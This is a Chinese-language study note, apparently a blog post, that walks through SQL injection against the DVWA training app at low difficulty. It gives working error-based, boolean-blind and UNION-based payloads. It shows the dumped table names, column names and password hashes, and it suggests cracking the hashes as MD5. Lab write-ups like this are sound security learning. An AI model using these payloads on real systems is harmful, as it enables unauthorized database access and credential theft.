在PHP中动态构造SQL语句的语言是<最简单,最耿直>
query="SELECT∗FROMusersWHEREusername=". _GET[“name”];
通过控制name参数,修改执行的SQL语句,可以达到攻击的目的。
SQL语法相关首先你要对php语法有了解,然后再去搞这个
SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECT 中
SELECT * from 表名 WHRER 列 运算符 值
我们用 DVWA为例,一步步提高难度,先调整到low难度,然后我们提交了一个1
GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
这个就是非常常见的GET方法了
此时,sql语句就变成了
select * from users where id = 1
确实是一句没有任何问题的语句。但是如果加了’呢?那就会报错了。
因为mysql_query()函数会返回一个布尔值,在下行代码中mysql_fetch_array($sql)将执行失败,并且PHP会显示一条警告信息,告诉我们mysql_fetch_array()的第一个参数必须是个资源,而代码在实际运行中,给出的参数值却是一个布尔值。
如果页面不返回任何错误信息,我们就要用这种方法。 在参数后面加上 and 1=1 和and 1=2 来找不同。因为第一个条件是为真的,第二个条件是假的。
然后我们看看会不会返回错误结果。
有些愚蠢的管理员会把获取ID写成数字型,那么我们的’大法就起不了效果了。
我们可以输入 1+1 (加号用%2b代替)来看看是不是返回id =2的结果。
判断注入是字符型或者数字型
往框框里输入
补充: low的服务器核心代码(部分) <盲注>
我感觉CTF中不可能把错误代码打出来
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
<先说最愚蠢的枚举二分法>
- 先枚举法
1’ and length(database())=1 #
然后一个个试过去,发现4 显示存在找到。
TIPS:substr PHP的字符串查找函数 substr(string,start,length)
string -不用说了 start 当前字符串位置(这里的话就要1,2,3,4一个个枚举过去>了),length的话正数是 从start位置返回,负数的话是从字符串结尾返回。
再说说一些正常注入的方法,不过盲注用不了的。因为它不打印错误信息啊
找到注入点之后,我们用
1’ order by 《num》# 来查找在表中的列数
在low等级中
1’ order by 2# 可行,到了3就输出错误信息了。所以最大是2列
//这个信息肥肠重要
之后我们用select union 的方法,来查找关键信息。
灰常好用的函数:
@@version_complie_os
好了,现在输入
1’ union select database(),2#
就可以得到我们之前,千辛万苦找到的dvwa数据库了。
TIPS:注意,union select 的时候一定要把它的参数位置填满,可以用数字填满
也可以用函数填满,别傻乎乎的就写一个version()还报错了
内容感谢这个作者,这是我看到的一篇盲注写的很不错的作者
首先猜测表的数量
输入
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=1 #
然后挨个试,发现《替换=1中的1为1,2,3,4,5,…》2 可行。
接下来猜表名
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
替换=1中的1为1,2,3,4,5,…发现9可行。
所以长度是9
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
又到了ASCII二分环节,然后找到了第一个表名 gusetbook
之后把limit 后面的那个1换成2 ,再来一遍,找到第二个表名 users
我的妈,CTF一道盲注题手工要做多久
应用information_schema的数据库,只支持MYSQL,能够帮我们快速爆破表名
首先我们复习一下语法
SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECT 中
SELECT * from 表名 WHRER 列 运算符 值
输入
1’ union select database()# 刚刚做过了啦~
输入
1’ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
截获信息
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: admin
Surname: admin
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: guestbook
Surname: 2
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: users
Surname: 2
我的妈,我盲注半小时,普通一分钟
首先猜解表中字段的数量
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #
一个个试,发现8存在
接着挨个猜解字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
一个个试发现有7个字符串长度。
后面作者就没写了,讲道理这个盲注真是看得晕头转向。
之后补上。
《这里拿user举例子》
1’ union select column_name,2 from information_schema.columns where table_name=’users’#
哇因缺思厅!
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: admin
Surname: admin
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user_id
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: first_name
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_name
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: password
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: avatar
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_login
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: failed_login
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: CURRENT_CONNECTIONS
Surname: 2
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: TOTAL_CONNECTIONS
Surname: 2
盲注。之后更新。。。
普通注入语句
输入:
1’ union select user,password from users#
ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
好了到手了。接着就MD5解密,或者交给你做A类的同学吧。
关于其他的注入方法,会在之后的难度中补充。
盲注之后还会再写,自己还没有搞清楚。
2018年1月10日00:10:31
烧包包儿